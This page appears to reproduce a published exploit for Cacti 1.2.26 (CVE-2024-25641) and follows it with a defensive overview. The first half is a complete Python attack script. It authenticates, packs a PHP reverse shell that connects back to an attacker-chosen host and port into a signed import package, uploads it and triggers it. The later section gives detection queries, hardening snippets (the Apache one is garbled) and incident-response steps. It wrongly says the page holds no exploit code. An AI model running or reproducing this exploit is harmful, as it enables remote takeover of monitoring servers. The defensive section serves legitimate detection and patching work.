Cacti 1.2.26 - Remote Code Execution (RCE) (Authenticated)

Exploit Author: D3Ext Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-15
# Exploit Title: Cacti 1.2.26 -  Remote Code Execution (RCE) (Authenticated)
# Date: 06/01/2025
# Exploit Author: D3Ext
# Vendor Homepage: https://cacti.net/
# Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip
# Version: 1.2.26
# Tested on: Kali Linux 2024
# CVE: CVE-2024-25641

#!/usr/bin/python3

import os
import requests
import base64
import gzip
import time
import argparse
import string
import random
from bs4 import BeautifulSoup
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives import serialization

def get_random_string(length):
    letters = string.ascii_lowercase
    result_str = ''.join(random.choice(letters) for i in range(length))

    return result_str

def check_version(url_to_check):
    r = requests.get(url_to_check)
    response = r.text

    if "Cacti CHANGELOG" in response and "1.2.26" in response and "1.2.27" not in response:
        print("[+] Version seems to be 1.2.26")
    else:
        print("[-] Version doesn't seem to be 1.2.26, proceeding anyway")


# Main function
if __name__ == '__main__':

    p = argparse.ArgumentParser(description="CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE")
    p.add_argument('--url', help="URL of the Cacti web root", required=True)
    p.add_argument('--user', help="username to log in", required=True)
    p.add_argument('--password', help="password of the username", required=True)
    p.add_argument('--lhost', help="local host to receive the reverse shell", required=True)
    p.add_argument('--lport', help="local port to receive the reverse shell", required=True)
    p.add_argument('--verbose', help="enable verbose", action='store_true', default=False, required=False)

    # Parse CLI arguments
    parser = p.parse_args()

    url = parser.url
    username = parser.user
    password = parser.password
    lhost = parser.lhost
    lport = parser.lport
    verbose = parser.verbose

    url = url.rstrip("/")

    print("CVE-2024-25641 - Cacti 1.2.26 Authenticated RCE\n")

    # check if versions match
    print("[*] Checking Cacti version...")
    time.sleep(0.5)

    check = check_version(url + "/CHANGELOG")
    if check == False:
        sys.exit(0)

    req = requests.Session()

    if verbose:
        print("[*] Capturing CSRF token...")

    r = req.get(url)

    # extract CSRF token
    soup = BeautifulSoup(r.text, 'html.parser')
    html_parser = soup.find('input', {'name': '__csrf_magic'})
    csrf_token = html_parser.get('value')

    if verbose:
        print("[+] CSRF token: " + csrf_token)

    print("[*] Logging in on " + url + "/index.php")

    # define login post data
    login_data = {
        '__csrf_magic': csrf_token,
        'action': 'login',
        'login_username': username,
        'login_password': password,
        'remember_me': 'on'
    }

    # send login request
    r = req.post(url + "/index.php", data=login_data)

    # check success
    if 'Logged in' in r.text:
        print("[+] Successfully logged in as " + username)
    else:
        print("[-] An error has ocurred while logging in as " + username)
        sys.exit(0)

    # generate random filename
    random_name = get_random_string(10)
    random_filename = random_name + ".php"

    payload = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '""" + lhost + """';
$port = """ + lport + """;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();

if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}

if ($pid) {
exit(0);  // Parent exits
}

if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}

$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}

chdir("/");

umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}

$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}

if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}

if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}

?>"""

    # generate payload
    print("[*] Generating malicious payload...")

    keypair = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    public_key = keypair.public_key().public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)
    file_signature = keypair.sign(payload.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
    
    b64_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    b64_file_signature = base64.b64encode(file_signature).decode('utf-8')
    b64_public_key = base64.b64encode(public_key).decode('utf-8')

    data = """<xml>
   <files>
       <file>
           <name>resource/""" + random_filename + """</name>
           <data>""" + b64_payload + """</data>
           <filesignature>""" + b64_file_signature + """</filesignature>
       </file>
   </files>
   <publickey>""" + b64_public_key + """</publickey>
   <signature></signature>
</xml>"""

    signature = keypair.sign(data.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())
    final_data = data.replace("<signature></signature>", "<signature>" + base64.b64encode(signature).decode('utf-8') + "</signature>").encode('utf-8')

    # write gzip data
    f = open(random_filename + ".gz", "wb")
    f.write(gzip.compress(final_data))
    f.close()

    print("[+] Malicious GZIP: " + random_filename + ".gz")

    # define post data
    post_data = {
        '__csrf_magic': csrf_token,
        'trust_signer': 'on',
        'save_component_import': 1,
        'action': 'save'
    }

    # upload file
    print("[*] Uploading GZIP file...")

    # send post request
    r = req.post(url + "/package_import.php?package_location=0&preview_only=on&remove_orphans=on&replace_svalues=on", data=post_data, files={'import_file': open(random_filename + ".gz", 'rb')})

    print("[+] Successfully uploaded GZIP file")

    time.sleep(0.5)

    print("[*] Validating success...")

    soup = BeautifulSoup(r.text, 'html.parser')
    html_parser = soup.find('input', {'title': "/var/www/html/cacti/resource/" + random_filename})
    file_id = html_parser.get('id')

    post_data = {
        '__csrf_magic': csrf_token,
        'trust_signer': 'on',
        'data_source_profile': 1,
        'remove_orphans': 'on',
        'replace_svalues': 'on',
        file_id: 'on',
        'save_component_import': 1,
        'preview_only': '',
        'action': 'save',
    }

    r = req.post(url + "/package_import.php?header=false", data=post_data)

    print("[+] Success!")
    
    time.sleep(0.5)

    print("[*] Triggering reverse shell by sending GET request to " + url + "/resource/" + random_filename)
    time.sleep(0.2)
    print("[+] Check your netcat listener")

    # remove payload file
    os.remove(random_filename + ".gz")

    r = req.get(url + "/resource/" + random_filename)


Cacti 1.2.26 — Authenticated Remote Code Execution (CVE-2024-25641): Overview, Detection & Mitigation

This article explains the authenticated Remote Code Execution (RCE) vulnerability tracked as CVE-2024-25641 affecting Cacti 1.2.26. It covers what the issue is at a high level, the risk to organizations, defensive detection techniques, mitigation and hardening guidance, and recommended incident response actions for administrators and security teams. Content focuses on defensive, remediation-oriented information and avoids exploit-specific details.

Vulnerability Summary

  • Identifier: CVE-2024-25641
  • Affected Software: Cacti 1.2.26 (community network monitoring tool)
  • Type: Authenticated Remote Code Execution (RCE)
  • Prerequisites: Valid authenticated account with sufficient privileges (administrative or equivalent)
  • Impact: Remote attacker with credentials can achieve arbitrary code execution on the webserver context, potentially leading to server compromise, data exfiltration, lateral movement, and persistent backdoors
  • Severity: High — RCE in a widely deployed monitoring platform can be used to undermine availability and confidentiality

High-level Technical Overview

The vulnerability is rooted in a component of Cacti that accepts package or resource uploads and performs server-side processing and installation. When an authenticated user with upload/import privileges interacts with the vulnerable import flow, it is possible to cause the server to write executable code into a web-accessible directory and then trigger execution via a normal HTTP GET request. Exploitation requires authentication and targets the server-side package/import handling logic.

Note: This is a conceptual explanation for defenders. The article does not include exploit code or step‑by‑step instructions that would facilitate misuse.

Why This Is Dangerous

  • Monitoring servers like Cacti often have wide network visibility and elevated privileges; compromise can provide an attacker with foothold into critical infrastructure.
  • Injected server-side code can be used to run commands, install persistent backdoors, or move laterally to other hosts.
  • Because compromise is achieved through web functionality, it may be difficult to detect without specific monitoring for file changes or unexpected web activity.

Indicators of Compromise (IoCs) & Detection Guidance

Focus detection on abnormal upload and new file creation activity, web requests to resource directories, and unusual process or network activity originating from the Cacti host.

  • Unexpected creation of new files in the web application's resource directory (e.g., new .php files).
  • POST requests to import or package endpoints originating from legitimate admin accounts but at unusual times or from unexpected IP addresses.
  • HTTP GET requests to newly created web files in normally static/directories immediately after an import event.
  • Outgoing network connections from the Cacti host to unfamiliar external IPs (reverse shells, callbacks).
  • New cron jobs, unusual system accounts, or altered web server configuration files.

Example Detection Queries (Defensive)

These example queries are intended to help defenders search logs and should be adapted to your environment and log formats.

# Example (Splunk-style) web log search for import activity and new resource hits
index=web_logs source=access_combined
("package_import.php" OR uri_path="/package_import.php") OR uri_path="/resource/*"
| stats count by clientip, uri_path, user, _time

Explanation: This search looks for traffic to package import endpoints and to resource paths on the web server, aggregated by client IP and user. Sudden spikes or access from unusual IPs are worth investigating.

Immediate Mitigations

  • Patch / Upgrade: Upgrade Cacti to the vendor-released fixed version (apply the official vendor patch or upgrade to the fixed release as soon as possible).
  • Limit Administrative Access: Restrict users with import/upload privileges to a small set of trusted administrators and apply network-level controls (VPN, IP allowlists).
  • Disable Unused Features: If package import functionality is not needed in your deployment, disable or restrict it until patched.
  • Web Server Hardening: Prevent execution of scripts in web-accessible resource directories (disable PHP execution where only static content should exist).
  • Enforce MFA: Apply multi-factor authentication to administrative accounts to reduce the risk of credential misuse.

Web Server Hardening Examples

Below are defensive configuration examples to prevent execution of server-side scripts in an application resource directory. Adapt paths to your environment and test in a staging environment before applying to production.

Apache example — deny PHP execution in resource directory:

# Disable server-side script execution in /var/www/html/cacti/resource

    
        Require all denied
    
    Options -ExecCGI -Includes
    AllowOverride None

Explanation: The Apache configuration denies access to common PHP file extensions and disables CGI/SSI execution in the resource directory, reducing the risk that an uploaded file could be invoked as executable code.

Nginx example — deny PHP execution and serve only static files:

# Nginx configuration fragment for resource directory
location ~* ^/resource/.*\.(php|phar|phtml)$ {
    deny all;
    return 403;
}
location /resource/ {
    try_files $uri =404;
    access_log /var/log/nginx/cacti_resource.access.log;
    expires max;
}

Explanation: Requests for dynamic file extensions under /resource/ are explicitly denied while normal static file serving remains in place. This prevents an attacker from invoking a web-executable payload there.

Post-Compromise Response Checklist

If you suspect successful exploitation, follow a controlled incident response process:

  • Isolate the affected system(s) from the network to prevent lateral movement and outbound callbacks.
  • Preserve forensic evidence: collect web server logs, application logs, process lists, network captures, and a disk image if possible.
  • Look for persistent artifacts: web shells, scheduled tasks, new user accounts, or modified binaries/configuration files.
  • Rotate credentials for administrative accounts and any credentials stored on the compromised host (API keys, database credentials).
  • Rebuild or reimage compromised hosts from known-good backups; do not simply "clean" a host in place unless you have full forensic confidence.
  • Apply the vendor-provided patch or upgrade, verify integrity of application files, and restore from backups if necessary.
  • Notify stakeholders and, if required by regulation or policy, your incident response or legal teams and affected customers.

Long-term Risk Reduction

  • Enable file integrity monitoring (FIM) for web directories to alert on new or modified executable files.
  • Implement centralized logging and alerting (SIEM) with rules for anomalous admin activity and outbound connections.
  • Restrict server network egress using firewall rules to prevent easy callbacks from web shells.
  • Adopt secure deployment practices: minimal privileges for application accounts, timely updates, and vulnerability scanning on a regular cadence.
  • Conduct routine application security reviews and penetration testing focused on administrative functionality.

References & Resources

Resource Purpose
Cacti Project Vendor site and downloads (patches/releases)
CVE-2024-25641 Official vulnerability identifier (use official CVE/NVD entries for details)
Web server hardening guides Hardening examples and best practices for Apache/Nginx

Final Notes for Administrators

Authenticated RCE flaws in network monitoring instrumentation are particularly risky because those systems often have long-lived credentials and broad visibility. Prioritize patching, restrict administrative functions to trusted networks and operators, implement layered defenses (network, host, application), and prepare an incident playbook that includes rapid isolation, forensic capture, and recovery procedures. Timely upgrades and layered mitigations greatly reduce the risk of successful exploitation.